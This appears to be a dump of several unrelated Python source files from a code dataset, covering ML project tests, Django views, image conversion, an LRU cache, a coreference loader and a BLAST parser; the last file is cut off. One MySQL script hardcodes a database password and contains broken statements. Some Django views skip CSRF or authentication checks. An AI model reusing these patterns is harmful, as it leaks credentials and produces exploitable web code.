for function_name, function_object in expected_function_objects.items():\n assert function_name in project_function_objects\n assert (\n deepdiff.DeepDiff(\n project_function_objects[function_name].to_dict(),\n function_object.to_dict(),\n ignore_order=True,\n exclude_paths=[\"root['spec']['build']['code_origin']\"],\n )\n == {}\n )\n\n\ndef test_create_project_from_file_with_legacy_structure():\n project_name = \"project-name\"\n description = \"project description\"\n params = {\"param_key\": \"param value\"}\n artifact_path = \"/tmp\"\n legacy_project = mlrun.projects.project.MlrunProjectLegacy(\n project_name, description, params, artifact_path=artifact_path\n )\n function_name = \"trainer-function\"\n function = mlrun.new_function(function_name, project_name)\n legacy_project.set_function(function, function_name)\n legacy_project.set_function(\"hub://describe\", \"describe\")\n workflow_name = \"workflow-name\"\n workflow_file_path = (\n pathlib.Path(tests.conftest.tests_root_directory) / \"projects\" / \"workflow.py\"\n )\n legacy_project.set_workflow(workflow_name, str(workflow_file_path))\n artifact_dict = {\n \"key\": \"raw-data\",\n \"kind\": \"\",\n \"iter\": 0,\n \"tree\": \"latest\",\n \"target_path\": \"https://raw.githubusercontent.com/mlrun/demos/master/customer-churn-prediction/WA_Fn-UseC_-Telc\"\n \"o-Customer-Churn.csv\",\n \"db_key\": \"raw-data\",\n }\n legacy_project.artifacts = [artifact_dict]\n legacy_project_file_path = pathlib.Path(tests.conftest.results) / \"project.yaml\"\n legacy_project.save(str(legacy_project_file_path))\n project = mlrun.load_project(None, str(legacy_project_file_path))\n assert project.kind == \"project\"\n assert project.metadata.name == project_name\n assert project.spec.description == description\n # assert accessible from the project as well\n assert project.description == description\n assert project.spec.artifact_path == artifact_path\n assert deepdiff.DeepDiff(params, project.spec.params, ignore_order=True,) == {}\n # assert accessible from the project as well\n assert deepdiff.DeepDiff(params, project.params, ignore_order=True,) == {}\n assert (\n deepdiff.DeepDiff(\n legacy_project.functions, project.functions, ignore_order=True,\n )\n == {}\n )\n assert (\n deepdiff.DeepDiff(\n legacy_project.workflows, project.workflows, ignore_order=True,\n )\n == {}\n )\n assert (\n deepdiff.DeepDiff(\n legacy_project.artifacts, project.artifacts, ignore_order=True,\n )\n == {}\n )\n\n\ndef test_create_project_with_invalid_name():\n invalid_name = \"project_name\"\n with pytest.raises(mlrun.errors.MLRunInvalidArgumentError):\n mlrun.projects.project.new_project(invalid_name, init_git=False)\n\n\ndef test_get_set_params():\n project_name = \"project-name\"\n project = mlrun.new_project(project_name)\n param_key = \"param-key\"\n param_value = \"param-value\"\n project.params[param_key] = param_value\n assert param_value == project.get_param(param_key)\n default_value = \"default-value\"\n assert project.get_param(\"not-exist\", default_value) == default_value\n\n\ndef test_user_project():\n project_name = \"project-name\"\n user = os.environ.get(\"V3IO_USERNAME\") or getpass.getuser()\n project = mlrun.new_project(project_name, user_project=True)\n assert (\n project.metadata.name == f\"{project_name}-{user}\"\n ), \"project name doesnt include user name\"\n","sub_path":"tests/projects/test_project.py","file_name":"test_project.py","file_ext":"py","file_size_in_byte":4587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"379461116","text":"import logging.handlers\nimport logging\nimport os\n\n\nclass BotLogger(object):\n def __init__(self, debug=None, data_location=None):\n self.log_location = data_location\n self.log_level = debug\n\n if self.log_level:\n self.log_level = logging.DEBUG\n\n else:\n self.log_level = logging.INFO\n\n self.bot_logger = logging.getLogger(\"logger\")\n self.bot_logger.setLevel(logging.DEBUG)\n\n log_formatter = logging.Formatter(\"%(asctime)s:%(name)s:%(levelname)s:%(message)s\")\n\n if self.log_location is not None:\n if not os.path.isdir(self.log_location):\n os.makedirs(self.log_location)\n print(f\"Creating logging directory: {self.log_location}\")\n if self.log_level:\n print(f\"Logging directory: {self.log_location}\")\n file_logger = logging.handlers.RotatingFileHandler(f'{self.log_location}/bot.log', mode='a',\n maxBytes=5000, encoding=\"UTF-8\", delay=0, backupCount=5)\n file_logger.setLevel(self.log_level)\n file_logger.setFormatter(log_formatter)\n self.bot_logger.addHandler(file_logger)\n\n console_handler = logging.StreamHandler()\n console_handler.setLevel(self.log_level)\n console_handler.setFormatter(log_formatter)\n\n self.bot_logger.addHandler(console_handler)\n","sub_path":"cogs/utils/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"601756933","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals\n\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.models import User\nfrom django.core.paginator import Paginator\nfrom django.db import IntegrityError\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.shortcuts import render\n\n# Create your views here.\nfrom django.urls import reverse\n\nfrom network.models import Post, Like, Following, User\n\n\ndef index(request):\n if not request.user.is_authenticated:\n return HttpResponseRedirect(reverse('login'))\n if request.method == 'POST':\n content = request.POST['content']\n user = request.user\n data = Post(user=user, content=content)\n data.save()\n return HttpResponseRedirect(reverse('index'))\n\n result = Post.objects.all()\n ids = [p.id for p in result]\n content = [p.content for p in result]\n user = [p.user for p in result]\n time = [p.time for p in result]\n likes = [0]*len(ids)\n for i in range(len(ids)):\n likeCount = Like.objects.filter(post_id=ids[i])\n likes[i] = len(likeCount)\n posts = []\n for i in reversed(range(len(content))):\n posts.append({'id': ids[i] ,'content': content[i], 'user': user[i], 'time': time[i], 'likes': likes[i]})\n paginator = Paginator(posts, 10)\n page = request.GET.get('page')\n posts = paginator.get_page(page)\n print('paginator', paginator, page)\n return render(request, 'network/index.html', {\n 'posts': posts\n })\n\n\ndef profile(request, username):\n if not request.user.is_authenticated:\n return HttpResponseRedirect(reverse('login'))\n follow = Following.objects.filter(user=username)\n followed_by = Following.objects.filter(following=username)\n result = Post.objects.filter(user=username)\n print(username)\n ids = [p.id for p in result]\n content = [p.content for p in result]\n user = [p.user for p in result]\n time = [p.time for p in result]\n likes = [0] * len(ids)\n for i in range(len(ids)):\n likeCount = Like.objects.filter(post_id=ids[i])\n likes[i] = len(likeCount)\n posts = []\n for i in reversed(range(len(content))):\n posts.append({'id': ids[i], 'content': content[i], 'user': user[i], 'time': time[i], 'likes': likes[i]})\n paginator = Paginator(posts, 10)\n page = request.GET.get('page')\n posts = paginator.get_page(page)\n print('paginator', paginator, page)\n return render(request, 'network/profile.html', {\n 'posts': posts,\n 'follow': len(follow),\n 'followed_by': len(followed_by),\n 'user': username\n })\n\n\ndef login_view(request):\n if request.method == 'POST':\n\n username = request.POST['username']\n password = request.POST['password']\n\n user = authenticate(request, username=username, password=password)\n\n if user is not None:\n login(request, user)\n return HttpResponseRedirect(reverse('index'))\n else:\n return render(request, 'network/login.html', {\n 'message': 'Invalid username and/or password.'\n })\n else:\n return render(request, 'network/login.html')\n\ndef logout_view(request):\n logout(request)\n return HttpResponseRedirect(reverse('index'))\n\ndef register(request):\n if request.method == \"POST\":\n username = request.POST[\"username\"]\n email = request.POST[\"email\"]\n\n # Ensure password matches confirmation\n password = request.POST[\"password\"]\n confirmation = request.POST[\"confirmation\"]\n if password != confirmation:\n return render(request, \"network/register.html\", {\n \"message\": \"Passwords must match.\"\n })\n\n # Attempt to create new user\n try:\n user = User.objects.create_user(username, email, password)\n user.save()\n except IntegrityError:\n return render(request, \"network/register.html\", {\n \"message\": \"Username already taken.\"\n })\n login(request, user)\n return HttpResponseRedirect(reverse(\"index\"))\n else:\n return render(request, \"network/register.html\")\n\n\ndef likes(request, ID, user):\n if not request.user.is_authenticated:\n return HttpResponseRedirect(reverse('login'))\n check = Like.objects.filter(post_id=ID, user=user)\n if len(check)<1:\n obj = Like(post_id=ID, user=user)\n obj.save()\n else:\n check.delete()\n result = Like.objects.filter(post_id=ID)\n return HttpResponse(len(result))\n\ndef follow_user(request, currentuser, user):\n if not request.user.is_authenticated:\n return HttpResponseRedirect(reverse('login'))\n check = Following.objects.filter(user=currentuser, following=user)\n if len(check)<1:\n obj = Following(user=currentuser, following=user)\n obj.save()\n else:\n check.delete()\n result = Following.objects.filter(following=user)\n return HttpResponse(len(result))\n\ndef unfollow_user(request, user, currentuser):\n if not request.user.is_authenticated:\n return HttpResponseRedirect(reverse(\"login\"))\n check = Following.objects.filter(user = currentuser, following = user)\n if len(check) == 1:\n check.delete()\n result = Following.objects.filter(following = user)\n return HttpResponse(len(result))\n\ndef following_page(request, user):\n if not request.user.is_authenticated:\n return HttpResponseRedirect(reverse(\"login\"))\n check = Following.objects.filter(user = user)\n usernames = [p.following for p in check]\n result = Post.objects.filter(user__in = usernames)\n print(usernames)\n ids = [p.id for p in result]\n content = [p.content for p in result]\n user = [p.user for p in result]\n time = [p.time for p in result]\n likes =[0]*len(ids)\n for i in range(len(ids)):\n likeCount = Like.objects.filter(post_id=ids[i])\n likes[i] = len(likeCount)\n posts = []\n followed_by = Following.objects.filter(following = user)\n for i in reversed(range(len(content))):\n posts.append({'id' : ids[i],'user' : user[i], 'content' : content[i], 'time' : time[i], 'likes': likes[i]})\n paginator = Paginator(posts,10)\n page = request.GET.get('page')\n posts = paginator.get_page(page)\n return render(request, \"network/following_page.html\" ,{\n 'posts' : posts,\n 'follow' : len(check),\n 'followed_by' : len(followed_by)\n })\n\ndef edit_page(request, post_id):\n if not request.user.is_authenticated:\n return HttpResponseRedirect(reverse('login'))\n result = Post.objects.filter(pk=post_id, user=request.user)\n if len(result)<1:\n return render(request, 'network/error.html', {\n 'message': 'Post request error'\n })\n ids =[p.id for p in result]\n content = [p.content for p in result]\n return render(request, 'network/edit.html', {\n 'id': ids[0],\n 'content': content[0]\n })\n\ndef updated(request, post_id, content):\n result = Post.objects.filter(pk = post_id, user=request.user).update(content=content)\n return HttpResponse('Post update, go to the All Posts page to see the changes')","sub_path":"network/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"257928317","text":"from django.shortcuts import render\nfrom models import PutApp\nfrom django.conf.urls import patterns, include, url\nfrom django.http import HttpResponse, HttpResponseNotFound, HttpResponseRedirect\nfrom django.views.decorators.csrf import csrf_exempt\n# Create your views here.\n@csrf_exempt\ndef contentapp(request,resourceName):\n response = '

THIS IS THE WEB SITE

' \n if request.user.is_authenticated():\n logged = \"

Logueado como: \" + request.user.username +\\\n \" Deslogueate
\" \n if request.method == \"GET\":\n try:\n info = PutApp.objects.get(titulo=resourceName)\n return HttpResponse(response + info.contenido)\n except PutApp.DoesNotExist:\n response += ' El valor no existe, introduzcalo '\n response += logged\n form = \"
\\n\"\n form += \"Titulo:
\\n\"\n form += \"Contenido:
\\n\"\n form += \"\\n\"\n form += \"
\\n\"\n response += form\n response += \"

Pulse aqui para ver los datos

\"\n return HttpResponse(response)\n elif request.method == \"PUT\":\n response += ' Metemos en base de datos: ' \n (namePage, Page) = request.body.split(';')\n newPage = PutApp(titulo=namePage, contenido=Page)\n newPage.save()\n response += \"Titulo: \" + request.POST['titulo'] \n response += \", Contenido: \" + request.POST['contenido']\n return HttpResponse(response)\n elif request.method == \"POST\":\n response += ' Metemos en base de datos: ' \n newPage = PutApp(titulo=request.POST['titulo'], contenido=request.POST['contenido'])\n newPage.save()\n response += \"TITULO: \" + request.POST['titulo'] \n response += \", CONTENIDO: \" + request.POST['contenido']\n response += \"

Pulse aqui para ir a la url original

\"\n return HttpResponse(response)\n else:\n response += ' NO SENSE PAGE '\n return HttpResponse(response)\n else:\n logged = \"

No estas logueado Logueate
\"\n return HttpResponse(response + logged) \n","sub_path":"cms_users_put/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"433991288","text":"# encoding: utf-8\n\nimport cv2\nfrom PIL import Image\nimport numpy as np\n\n# 1、PIL.Image转换成OpenCV格式:\nimage = Image.open(\"screenshot.png\")\nimage.show()\nimg = cv2.cvtColor(np.asarray(image), cv2.COLOR_RGB2BGR)\ncv2.imshow(\"OpenCV\", img)\ncv2.waitKey()\n\n\n# 2、OpenCV转换成PIL.Image格式\nimg = cv2.imread(\"screenshot.png\")\ncv2.imshow(\"OpenCV\", img)\nimage = Image.fromarray(cv2.cvtColor(img, cv2.COLOR_BGR2RGB))\nimage.show()\ncv2.waitKey()\n\n\n# 判断图像数据是否是OpenCV格式:\nisinstance(img, np.ndarray)\n'''True'''","sub_path":"image/03_transform.py","file_name":"03_transform.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"467749963","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu May 16 12:18:33 2019\n\n@author: Vijay\n\"\"\"\n\"\"\"\nCode Challenge 3\nIn the Bid plus Code Challenege \n\n 1. BID NO\n 2. items\n 3. Quantity Required\n 4. Department Name And Address\n 5. Start Date/Time(Enter date and time in different columns)\n 6. End Date/Time(Enter date and time in different columns)\n\nStore the information into a database mySQL Database\n\"\"\"\nimport mysql.connector \n# connect to MySQL server along with Database name\n\nconn = mysql.connector.connect(user='vijayshersiya', password='vijay@1997',\n host='db4free.net', database = 'vijayshersiyadb')\n#, database = 'forsk_test'\n\n# creating cursor\nc = conn.cursor()\n\n# STEP 0\n#c.execute(\"DROP DATABASE employee;\")\n\n# STEP 1\n#c.execute(\"CREATE DATABASE employee;\")\n\n# STEP 2\nc.execute(\"DROP Table ;\")\n\n# STEP 3\nc.execute (\"\"\"CREATE TABLE employees(\n id INTEGER,\n first TEXT,\n last TEXT,\n pay INTEGER\n )\"\"\")\n\n\n# STEP 4\nc.execute(\"INSERT INTO employees VALUES (01,'Sylvester', 'Fernandes', 50000)\")\nc.execute(\"INSERT INTO employees VALUES (02,'Yogendra', 'Singh', 70000)\")\nc.execute(\"INSERT INTO employees VALUES (03,'Rohit', 'Mishra', 30000)\")\nc.execute(\"INSERT INTO employees VALUES (04,'Kunal', 'Vaid', 30000)\")\nc.execute(\"INSERT INTO employees VALUES (05,'Devendra', 'Shekhawat', 30000)\")\n\n# c.execute(\"INSERT INTO employee VALUES ({},'{}', '{}', {})\".format(idd, first,last,pay))\n\n\nc.execute(\"SELECT * FROM employees\")\n\n\n# STEP 5\n# returns one or otherwise None as a tuple\nprint ( c.fetchone()) \n\n# returns one or otherwise None as a tuple\nprint ( c.fetchmany(2)) \n\n# returns a list of tuples\nprint ( c.fetchall() )\n\n\n# Since now the cursor has read all the rows and we are at End\n# So again fetching the records from the database\nc.execute(\"SELECT * FROM employees\")\n\n\n# STEP 6\ndf = DataFrame(c.fetchall()) # putting the result into Dataframe\ndf.columns = [\"id\",\"first\",\"last\",\"pay\"]","sub_path":"day 9/untitled2.py","file_name":"untitled2.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"400530253","text":"class Node(object):\n def __init__(self, key, value):\n self.value = value\n self.key = key\n self.next = None\n self.prev = None\n\n\nclass Double_LinkedList(object):\n def __init__(self, head=None, tail=None):\n self.head = head\n self.tail = tail\n\n def append(self, node):\n # if it is first node in the list\n if self.head is None:\n node.next = None\n node.prev = None\n self.head = node\n self.tail = node\n else:\n node.prev = self.tail\n node.next = self.tail.next\n self.tail.next = node\n self.tail = node\n\n def move_node_to_end(self, node):\n # if node is the last node then it is already in right position\n if (self.tail == node):\n return\n self.remove(node)\n self.append(node)\n\n def remove(self, node):\n if self.head == node:\n self.head = node.next\n if self.tail == node:\n self.tail = node.prev\n if (node.prev != None):\n node.prev.next = node.next\n if (node.next != None):\n node.next.prev = node.prev\n\n\nclass LRU_Cache(object):\n\n def __init__(self, capacity=5):\n # cache size\n self.csize = capacity\n # dictionary for key and node reference\n self.hashtable = dict()\n self.d_list = Double_LinkedList()\n\n def get(self, key):\n # Retrieve item from cache with key. Return -1 if nonexistent.\n if key in self.hashtable:\n node = self.hashtable[key]\n value = node.value\n # update cache for least recently accessed element\n self.update_cache(node)\n return value\n else:\n return -1\n\n def set(self, key, value):\n # Set the value if the key is not present in the cache. If the cache is full remove the oldest item.\n if key not in self.hashtable:\n if len(self.hashtable) == self.csize:\n oldest_node = self.d_list.head\n oldest_key = oldest_node.key\n self.d_list.remove(oldest_node)\n del self.hashtable[oldest_key]\n node = Node(key, value)\n self.d_list.append(node)\n self.hashtable[key] = node\n else:\n node = self.hashtable[key]\n node.value = value\n self.get(key)\n\n # update the cache for least recently accessed element\n def update_cache(self, node):\n self.d_list.move_node_to_end(node)\n self.hashtable[node.key] = node\n\n\n# test when cache is empty\ndef test_function1():\n our_cache = LRU_Cache(5)\n output = our_cache.get(1)\n print(output)\n\n\n# test when cache has just one element and then get that element\ndef test_function2():\n our_cache = LRU_Cache(5)\n our_cache.set(1, 1)\n output = our_cache.get(1)\n print(output)\n\n\n# test when cache is full and we insert a new element. This should remove the least recently accessed element\n# insert 1,2,3,4,5 when we insert 6 it should remove element with key=1 and insert 6\ndef test_function3():\n our_cache = LRU_Cache(5)\n our_cache.set(1, 1)\n our_cache.set(2, 2)\n our_cache.set(3, 3)\n our_cache.set(4, 4)\n our_cache.set(5, 5)\n our_cache.set(6, 6)\n output = our_cache.get(1)\n print(output)\n\n\n# insert elements 1,2,3,4,5 then do get key=1. Now least recently accessed element is 2 as we just read 1.\n# Now when we insert 6 it should remove element key =2\ndef test_function4():\n our_cache = LRU_Cache(5)\n our_cache.set(1, 1)\n our_cache.set(2, 2)\n our_cache.set(3, 3)\n our_cache.set(4, 4)\n our_cache.set(5, 5)\n # do a get call so key=1 will be most recently accessed\n output = our_cache.get(1)\n our_cache.set(6, 6)\n output = our_cache.get(2)\n print(output)\n\n\n# setting the key which is already in cache. This should just update the cache least recently accessed\ndef test_function5():\n our_cache = LRU_Cache(5)\n our_cache.set(1, 1)\n our_cache.set(2, 2)\n our_cache.set(3, 3)\n our_cache.set(4, 4)\n our_cache.set(5, 5)\n our_cache.set(1, 1)\n output = our_cache.get(2)\n print(output)\n\n\ndef test_function6():\n our_cache = LRU_Cache(5)\n our_cache.set(1, 1)\n our_cache.set(2, 2)\n our_cache.set(3, 3)\n our_cache.set(1, 4)\n output = our_cache.get(1)\n print(output)\n\n\ntest_function1()\n#-1\ntest_function2()\n#1\ntest_function3()\n#-1\ntest_function4()\n#-1\ntest_function5()\n#2\ntest_function6()\n#4\n","sub_path":"problem_1.py","file_name":"problem_1.py","file_ext":"py","file_size_in_byte":4504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"608715829","text":"import gzip\nimport json\nfrom typing import List\nimport numpy as np\nimport torch\nfrom torchtext.vocab import Vectors\n\nimport os, io, re\nfrom fnmatch import fnmatch\nfrom cached_property import cached_property\n\nfrom data_schema import Document\nfrom utils import to_cuda\n\nNORMALIZE_DICT = {\"/.\": \".\", \"/?\": \"?\",\n \"-LRB-\": \"(\", \"-RRB-\": \")\",\n \"-LCB-\": \"{\", \"-RCB-\": \"}\",\n \"-LSB-\": \"[\", \"-RSB-\": \"]\"}\nREMOVED_CHAR = [\"/\", \"%\", \"*\"]\n\n\nclass Corpus:\n def __init__(self, documents):\n self.docs = documents\n self.vocab, self.char_vocab = self.get_vocab()\n\n def __getitem__(self, idx):\n return self.docs[idx]\n\n def __repr__(self):\n return 'Corpus containg %d documents' % len(self.docs)\n\n def get_vocab(self):\n \"\"\" Set vocabulary for LazyVectors \"\"\"\n vocab, char_vocab = set(), set()\n\n for document in self.docs:\n vocab.update(document.tokens)\n char_vocab.update([char\n for word in document.tokens\n for char in word])\n\n return vocab, char_vocab\n\n\nclass LazyVectors:\n \"\"\"Load only those vectors from GloVE that are in the vocab.\n Assumes PAD id of 0 and UNK id of 1\n \"\"\"\n\n unk_idx = 1\n\n def __init__(self, name,\n cache,\n skim=None,\n vocab=None):\n \"\"\" Requires the glove vectors to be in a folder named .vector_cache\n Setup:\n >> cd ~/where_you_want_to_save\n >> mkdir .vector_cache\n >> mv ~/where_glove_vectors_are_stored/glove.840B.300d.txt\n ~/where_you_want_to_save/.vector_cache/glove.840B.300d.txt\n Initialization (first init will be slow):\n >> VECTORS = LazyVectors(cache='~/where_you_saved_to/.vector_cache/',\n vocab_file='../path/vocabulary.txt',\n skim=None)\n Usage:\n >> weights = VECTORS.weights()\n >> embeddings = torch.nn.Embedding(weights.shape[0],\n weights.shape[1],\n padding_idx=0)\n >> embeddings.weight.data.copy_(weights)\n >> embeddings(sent_to_tensor('kids love unknown_word food'))\n You can access these moved vectors from any repository\n \"\"\"\n self.__dict__.update(locals())\n if self.vocab is not None:\n self.set_vocab(vocab)\n\n @classmethod\n def from_corpus(cls, corpus_vocabulary, name, cache):\n return cls(name=name, cache=cache, vocab=corpus_vocabulary)\n\n @cached_property\n def loader(self):\n return Vectors(self.name, cache=self.cache)\n\n def set_vocab(self, vocab):\n \"\"\" Set corpus vocab\n \"\"\"\n # Intersects and initializes the torchtext Vectors class\n self.vocab = [v for v in vocab if v in self.loader.stoi][:self.skim]\n\n self.set_dicts()\n\n def get_vocab(self, filename):\n \"\"\" Read in vocabulary (top 30K words, covers ~93.5% of all tokens) \"\"\"\n return read_file(filename) #TODO(tilo): the-FAQ!\n\n def set_dicts(self):\n \"\"\" _stoi: map string > index\n _itos: map index > string\n \"\"\"\n self._stoi = {s: i for i, s in enumerate(self.vocab)}\n self._itos = {i: s for s, i in self._stoi.items()}\n\n def weights(self):\n \"\"\"Build weights tensor for embedding layer \"\"\"\n # Select vectors for vocab words.\n weights = torch.stack([\n self.loader.vectors[self.loader.stoi[s]]\n for s in self.vocab\n ])\n\n # Padding + UNK zeros rows.\n return torch.cat([\n torch.zeros((2, self.loader.dim)),\n weights,\n ])\n\n def stoi(self, s):\n \"\"\" String to index (s to i) for embedding lookup \"\"\"\n idx = self._stoi.get(s)\n return idx + 2 if idx else self.unk_idx\n\n def itos(self, i):\n \"\"\" Index to string (i to s) for embedding lookup \"\"\"\n token = self._itos.get(i)\n return token if token else 'UNK'\n\n\ndef read_corpus(dirname):\n # conll_files = parse_filenames(dirname=dirname, pattern=\"*gold_conll\")\n return Corpus(load_file_scisci_format(dirname))\n\ndef read_jsons_from_file(file, limit=np.Inf):\n with gzip.open(file, mode=\"rb\") if file.endswith('.gz') else open(file, mode=\"rb\") as f:\n counter=0\n for line in f:\n # assert isinstance(line,bytes)\n counter += 1\n if counter > limit: break\n yield json.loads(line.decode('utf-8'))\n\ndef load_file_scisci_format(filename)->List[Document]:\n def process_json(d):\n coref_clusters = [[\n {'label': i,\n 'start': start,\n 'end': end,\n 'span': (start, end)\n }\n for start, end in cluster]\n for i, cluster in enumerate(d['clusters'])]\n tokens = [token for sentence in d['sentences'] for token in sentence]\n raw_text = ' '.join(tokens)\n\n coref_clusters = [c for cluster in coref_clusters for c in cluster]\n doc = Document(raw_text, tokens, coref_clusters, 'deineMutter' * len(tokens), 'boringShit', filename)\n return doc\n\n return [process_json(json) for json in read_jsons_from_file(filename)]\n\ndef parse_filenames(dirname, pattern = \"*conll\"):\n \"\"\" Walk a nested directory to get all filename ending in a pattern \"\"\"\n for path, subdirs, files in os.walk(dirname):\n for name in files:\n if fnmatch(name, pattern):\n yield os.path.join(path, name)\n\ndef clean_token(token):\n \"\"\" Substitute in /?(){}[] for equivalent CoNLL-2012 representations,\n remove /%* \"\"\"\n cleaned_token = token\n if cleaned_token in NORMALIZE_DICT:\n cleaned_token = NORMALIZE_DICT[cleaned_token]\n\n if cleaned_token not in REMOVED_CHAR:\n for char in REMOVED_CHAR:\n cleaned_token = cleaned_token.replace(char, u'')\n\n if len(cleaned_token) == 0:\n cleaned_token = \",\"\n return cleaned_token\n\ndef lookup_tensor(tokens, vectorizer):\n \"\"\" Convert a sentence to an embedding lookup tensor \"\"\"\n return to_cuda(torch.tensor([vectorizer.stoi(t) for t in tokens]))\n\n# if __name__ == '__main__':\n # Load in corpus, lazily load in word vectors.\ntrain_corpus = read_corpus('/home/tilo/code/NLP/IE/sciie/data/processed_data/json/train.json')\nval_corpus = read_corpus('/home/tilo/code/NLP/IE/sciie/data/processed_data/json/train.json')\ntest_corpus = read_corpus('/home/tilo/code/NLP/IE/sciie/data/processed_data/json/test.json')\n #\nGLOVE = LazyVectors.from_corpus(train_corpus.vocab,\n name='glove.840B.300d.txt',\n cache='/home/tilo/data/embeddings')\n\n# TURIAN = LazyVectors.from_corpus(train_corpus.vocab,\n# name='hlbl-embeddings-scaled.EMBEDDING_SIZE=50',\n# cache='/Users/sob/github/.vector_cache/')\n","sub_path":"loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":7066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"185738851","text":"# -*- coding: utf-8 -*-\n\n\"\"\"Functions for mail utilites.\"\"\"\n\nfrom django.http import HttpResponse\nfrom django.shortcuts import render\n\ntry:\n from google.appengine.api import app_identity, mail\nexcept:\n pass\n\nfrom .models import Teacher, Course\n\n\ndef teacher_send_mail(request):\n \"\"\"Send email to an specific user.\"\"\"\n user = request.user\n teacher = Teacher.objects.get(user=user)\n # course_id = request.POST['course_id']\n course_id = 1\n course = Course.objects.get(id=course_id)\n parents = teacher.get_parents(course_id)\n mails = [parent['email'] for parent in parents if parent['email'] != '']\n # subject = request.POST['subject']\n subject = 'Prueba TCA'\n # body = reques.POST['body']\n body = 'Probando mail de TCA.'\n mail.send_mail(\n sender='{}@appspot.gserviceaccount.com'.format(\n app_identity.get_application_id()\n ),\n to=mails,\n subject=subject,\n body=(\"\"\"\n %s\n\n --\n Profesor: %s %s <%s>.\n Curso: %s.\n \"\"\" % (\n body,\n teacher.name, teacher.last_name, user.email,\n unicode(course)\n ))\n )\n return HttpResponse(mails)\n","sub_path":"TCA/administration/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"579073186","text":"#! /usr/bin/env python\n\n#tbaits_blast_parse.py version 1.1 3 June 2015 Abby Moore\n#This script reads the blast output from blasting the captured sequences (using\n#blastn) against the blast database made from the bait sequences.\n#It requires a tab-delimitted list of locus names. These can either be the same \n#name in both columns or the name that is in the blast output in the first column\n#and a modified name in the second column (e.g., asp2\tasp)\n#It writes various files, among others, a list of sequences with blast hits to the\n#various loci ([OutFilePre]Seqs_to_Loci.txt), which will be read by tblast_to_fastq.py\n#this version has been modified so that it no longer looks for plastid and nrDNA sequences\n\nimport sys #to talk to the command line\nfrom collections import defaultdict #to make dictionaries with multiple levels\n\n#Example:\n'''\ntbaits_blastn_parse.py InFolderSeq InFolderBl BCFileName LocusFileName AlFilePre BLFilePre OutFolder OutFilePre\n'''\n\nUsage = '''\ntbaits_blastn_parse.py version 1.1\nThis script analyzes the output from blasting the captured sequences of each individual\nagainst the blast database made from the bait sequences.\ntbaits_blast_parse.py [folder containing reads in fasta format] [folder containing\nblast output] [file containing the list of the individual names in its \nsecond column--can be barcode file] [file containing the updated locus names]\n[prefix for alignment files] [prefix for blast output files] [output folder] \n[prefix for output files]\n'''\nprint (\"%s\\n\" % (\" \".join(sys.argv)))\n\nif len(sys.argv) != 9:\n\tsys.exit(\"Error! tbaits_blastn_parse.py requires eight additional arguments and you supplied %d. %s\" % (len(sys.argv)-1, Usage))\nelse:\n\tInFolderSeq = sys.argv[1]\n\tInFolderBl = sys.argv[2]\n\tBCFileName = sys.argv[3]\n\tLocusFileName = sys.argv[4]\n\tAlFilePre = sys.argv[5]\n\tBLFilePre = sys.argv[6]\n\tOutFolder = sys.argv[7]\n\tOutFilePre = sys.argv[8]\n\nIndList = [ ] #The list of individuals, to be read from the barcode folder\nLocusDict = { } #The dictionary of the locus names from the blast files and the final output files for those names\n#LocusDict[LocusName] = Locus\nSeqBlastDict = defaultdict(dict) #The dictionary of sequence names and their blast hits\nBlastHitsDict = defaultdict(dict) #The dictionary of the blast hits, so we know which individuals had which blast hits.\nBlastHitsCounts = defaultdict(dict) #The dictionary of the counts of blast hits per individual per locus\nIndHitsDict = defaultdict(dict) #The dictionary of the number of blast hits per individual\nIndSumDict = defaultdict(dict) #The dictionary with the summary of the blast hits\nMaxHits = 0\nEndingList = ['_R1','_R2']\n\n#making sure the output and input folders end in slashes\nif InFolderSeq[-1:] != \"/\":\n\tInFolderSeq += \"/\"\nif InFolderBl[-1:] != \"/\":\n\tInFolderBl += \"/\"\nif OutFolder[-1:] != \"/\":\n\tOutFolder += \"/\"\n\n#Getting the names of the individuals from the barcodes file\nInFile = open(BCFileName, 'rU')\nfor Line in InFile:\n\tLine = Line.strip('\\n').strip('\\r').split('\\t')\n\tIndList.append(Line[1])\nInFile.close()\nIndList = sorted(IndList)\n\n#Getting the names of the loci from the locus file\nInFile = open(LocusFileName, 'rU')\nfor Line in InFile:\n\tLine = Line.strip('\\n').strip('\\r').split('\\t')\n\tLocusDict[Line[0]] = Line[1]\nInFile.close()\n\n#reading the sequence names from the alignment files\nfor IndName in IndList:\n\tInFileName = InFolderSeq+AlFilePre+IndName+\"_R1.fa\"\n\tInFile = open(InFileName,'rU')\n\tfor Line in InFile:\n\t\tLine = Line.strip('\\n').strip('\\r')\n\t\tif Line[0] == \">\":\n\t\t\tSeqName = Line[1:-3]\n\t\t\tSeqBlastDict[IndName][SeqName] = defaultdict(list)\n\tInFile.close()\nprint(\"Sequence names were read from %d alignment files with names of the form %s.\\n\" % (len(IndList), InFileName))\nsys.stderr.write(\"Sequence names were read from %d alignment files with names of the form %s.\\n\" % (len(IndList), InFileName))\n\n#looking at the blast output\nfor IndName in IndList:\n\tfor Ending in EndingList:\n\t\tInFileName = 